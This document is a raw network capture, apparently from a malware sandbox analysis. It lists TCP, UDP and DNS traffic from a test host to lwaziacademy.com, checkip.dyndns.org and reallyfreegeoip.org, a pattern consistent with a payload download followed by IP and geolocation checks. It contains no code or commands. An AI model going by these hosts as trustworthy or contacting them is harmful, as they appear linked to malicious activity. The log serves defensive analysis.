Jan 3, 2025 02:47:09.985300064 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.985394955 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.021523952 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.021655083 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.021771908 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.063355923 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.063539982 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.063601971 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.340310097 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.340316057 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.340537071 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.340584993 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.343802929 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.344069004 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.344125986 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.345248938 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.345437050 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.345494986 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.346028090 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.346223116 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.346343040 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.346666098 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.346920967 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.347038984 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.347484112 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.347749949 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.348182917 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.348414898 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.348516941 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.348882914 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.349127054 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.349709988 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.350091934 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.350429058 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.350610018 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.350802898 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.351160049 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.351341009 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.351511002 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.382901907 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.383166075 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.383819103 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.384022951 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.384139061 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.424412966 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.424678087 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.424695015 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.703401089 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.703404903 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.703754902 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.704118013 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.704317093 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.704551935 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.704786062 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.705070019 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.705487013 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.705789089 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.706558943 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.706845045 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.707453012 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.707787991 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.710927963 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.711117983 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.711267948 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.711615086 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.711811066 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.711874962 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.712379932 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.712548971 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.712599039 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.713087082 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.713355064 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.713852882 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.714106083 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.714493036 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.714679956 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.714930058 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.715315104 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.715542078 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.716062069 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.716252089 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.716315985 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.716715097 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.716895103 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.716895103 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.717149973 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.717436075 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.717617989 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.717617989 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.717736959 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.718240023 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.718420029 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.718481064 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.718986034 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.719177008 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.719177008 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.719237089 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.719630957 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.719943047 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.720455885 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.720645905 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.720861912 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.721205950 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.721388102 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.721388102 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.721499920 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.743352890 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.743571997 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.743611097 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.744103909 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.744265079 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.744316101 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.744374990 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.744863987 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.745014906 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.745167017 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.745590925 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.745774031 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.745862961 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.746316910 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.746468067 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.746468067 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.746540070 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.787014008 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.787219048 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.787331104 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.787633896 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:10.787888050 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:10.788002014 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.064570904 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.064575911 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.064774990 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.064863920 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.065289974 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.065531015 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.066087008 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.066246033 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.066319942 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.066833973 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.067075014 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.067502975 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.067739010 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.068314075 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.068572998 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.069001913 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.069221973 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.069288015 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.069710970 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.069916964 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.069977045 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.070421934 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.070585966 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.070682049 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.071244001 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.071418047 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.071589947 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.071932077 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.072148085 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.072671890 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.072978020 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.073465109 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.073673964 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.073731899 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.074162006 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.074420929 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.074860096 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.075083971 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.075609922 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.075795889 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.075824022 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.076425076 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.076608896 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.076658010 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.077076912 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.077308893 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.077821970 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.077981949 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.078104019 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.078690052 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.079050064 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.079336882 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.079714060 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.080054045 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.080291986 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.080739021 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.080873013 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.080987930 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.081531048 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.081691027 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.081830978 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.082226038 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.082439899 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.082973957 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.083276987 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.083643913 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.083796024 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.083977938 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.084451914 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.084595919 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.084754944 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.085191011 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.085517883 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.085861921 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.086277962 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.086675882 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.086834908 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.086956024 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.087495089 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.087671995 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.087744951 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.088076115 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.088279963 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.088802099 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.089083910 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.089596033 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.089787006 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.089838028 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.090302944 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.090493917 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.090560913 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.091008902 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.091180086 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.091270924 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.091871023 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.092116117 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.092529058 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.092762947 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.093221903 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.093522072 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.093959093 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.094170094 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.094336033 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.094789028 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.094953060 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.095105886 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.095446110 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.095698118 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.104794025 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.104962111 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.105038881 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.105541945 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.105734110 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.105804920 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.106245995 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.106437922 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.106506109 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.107177019 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.107420921 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.109441996 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.109668970 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.109783888 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.110424995 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.110655069 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.111232042 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.111473083 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.112076044 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.112339973 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.112385035 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.112948895 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.113200903 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.113596916 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.113944054 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.148184061 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.148405075 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.148456097 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.148947954 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.149135113 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.149214029 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.149808884 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.150072098 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.425868034 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.425872087 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.426076889 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.426222086 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.426563978 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.426884890 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.427333117 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.427453995 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.427500010 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.427519083 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.427647114 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.427753925 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.428678989 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.428678989 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:11.428690910 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:11.428694963 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:13.711204052 CET	49748	80	192.168.11.20	132.226.8.169
Jan 3, 2025 02:47:14.009445906 CET	80	49748	132.226.8.169	192.168.11.20
Jan 3, 2025 02:47:14.009649992 CET	49748	80	192.168.11.20	132.226.8.169
Jan 3, 2025 02:47:14.010780096 CET	49748	80	192.168.11.20	132.226.8.169
Jan 3, 2025 02:47:14.308832884 CET	80	49748	132.226.8.169	192.168.11.20
Jan 3, 2025 02:47:14.515010118 CET	80	49748	132.226.8.169	192.168.11.20
Jan 3, 2025 02:47:14.518706083 CET	49748	80	192.168.11.20	132.226.8.169
Jan 3, 2025 02:47:14.816755056 CET	80	49748	132.226.8.169	192.168.11.20
Jan 3, 2025 02:47:14.839919090 CET	80	49748	132.226.8.169	192.168.11.20
Jan 3, 2025 02:47:14.889411926 CET	49748	80	192.168.11.20	132.226.8.169
Jan 3, 2025 02:47:14.977267027 CET	49749	443	192.168.11.20	104.21.67.152
Jan 3, 2025 02:47:14.977288008 CET	443	49749	104.21.67.152	192.168.11.20
Jan 3, 2025 02:47:14.977524042 CET	49749	443	192.168.11.20	104.21.67.152
Jan 3, 2025 02:47:14.983047962 CET	49749	443	192.168.11.20	104.21.67.152
Jan 3, 2025 02:47:14.983062029 CET	443	49749	104.21.67.152	192.168.11.20
Jan 3, 2025 02:47:15.251434088 CET	443	49749	104.21.67.152	192.168.11.20
Jan 3, 2025 02:47:15.251689911 CET	49749	443	192.168.11.20	104.21.67.152
Jan 3, 2025 02:47:15.254473925 CET	49749	443	192.168.11.20	104.21.67.152
Jan 3, 2025 02:47:15.254486084 CET	443	49749	104.21.67.152	192.168.11.20
Jan 3, 2025 02:47:15.254776955 CET	443	49749	104.21.67.152	192.168.11.20
Jan 3, 2025 02:47:15.281141043 CET	49749	443	192.168.11.20	104.21.67.152
Jan 3, 2025 02:47:15.322205067 CET	443	49749	104.21.67.152	192.168.11.20
Jan 3, 2025 02:47:15.946899891 CET	443	49749	104.21.67.152	192.168.11.20
Jan 3, 2025 02:47:15.946965933 CET	443	49749	104.21.67.152	192.168.11.20
Jan 3, 2025 02:47:15.947196960 CET	49749	443	192.168.11.20	104.21.67.152
Jan 3, 2025 02:47:15.949033022 CET	49749	443	192.168.11.20	104.21.67.152
Jan 3, 2025 02:48:19.837657928 CET	80	49748	132.226.8.169	192.168.11.20
Jan 3, 2025 02:48:19.837960005 CET	49748	80	192.168.11.20	132.226.8.169
Jan 3, 2025 02:48:54.859441042 CET	49748	80	192.168.11.20	132.226.8.169
Jan 3, 2025 02:48:55.157519102 CET	80	49748	132.226.8.169	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 02:47:06.125754118 CET	58936	53	192.168.11.20	1.1.1.1
Jan 3, 2025 02:47:07.132394075 CET	58936	53	192.168.11.20	9.9.9.9
Jan 3, 2025 02:47:07.773242950 CET	53	58936	9.9.9.9	192.168.11.20
Jan 3, 2025 02:47:08.025278091 CET	53	58936	1.1.1.1	192.168.11.20
Jan 3, 2025 02:47:13.575953007 CET	61215	53	192.168.11.20	9.9.9.9
Jan 3, 2025 02:47:13.705705881 CET	53	61215	9.9.9.9	192.168.11.20
Jan 3, 2025 02:47:14.842277050 CET	62627	53	192.168.11.20	9.9.9.9
Jan 3, 2025 02:47:14.976592064 CET	53	62627	9.9.9.9	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 3, 2025 02:47:06.125754118 CET	192.168.11.20	1.1.1.1	0x2eb8	Standard query (0)	lwaziacademy.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 02:47:07.132394075 CET	192.168.11.20	9.9.9.9	0x2eb8	Standard query (0)	lwaziacademy.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 02:47:13.575953007 CET	192.168.11.20	9.9.9.9	0x369a	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 02:47:14.842277050 CET	192.168.11.20	9.9.9.9	0x3a6a	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 3, 2025 02:47:07.773242950 CET	9.9.9.9	192.168.11.20	0x2eb8	No error (0)	lwaziacademy.com		41.185.8.252	A (IP address)	IN (0x0001)	false
Jan 3, 2025 02:47:08.025278091 CET	1.1.1.1	192.168.11.20	0x2eb8	No error (0)	lwaziacademy.com		41.185.8.252	A (IP address)	IN (0x0001)	false
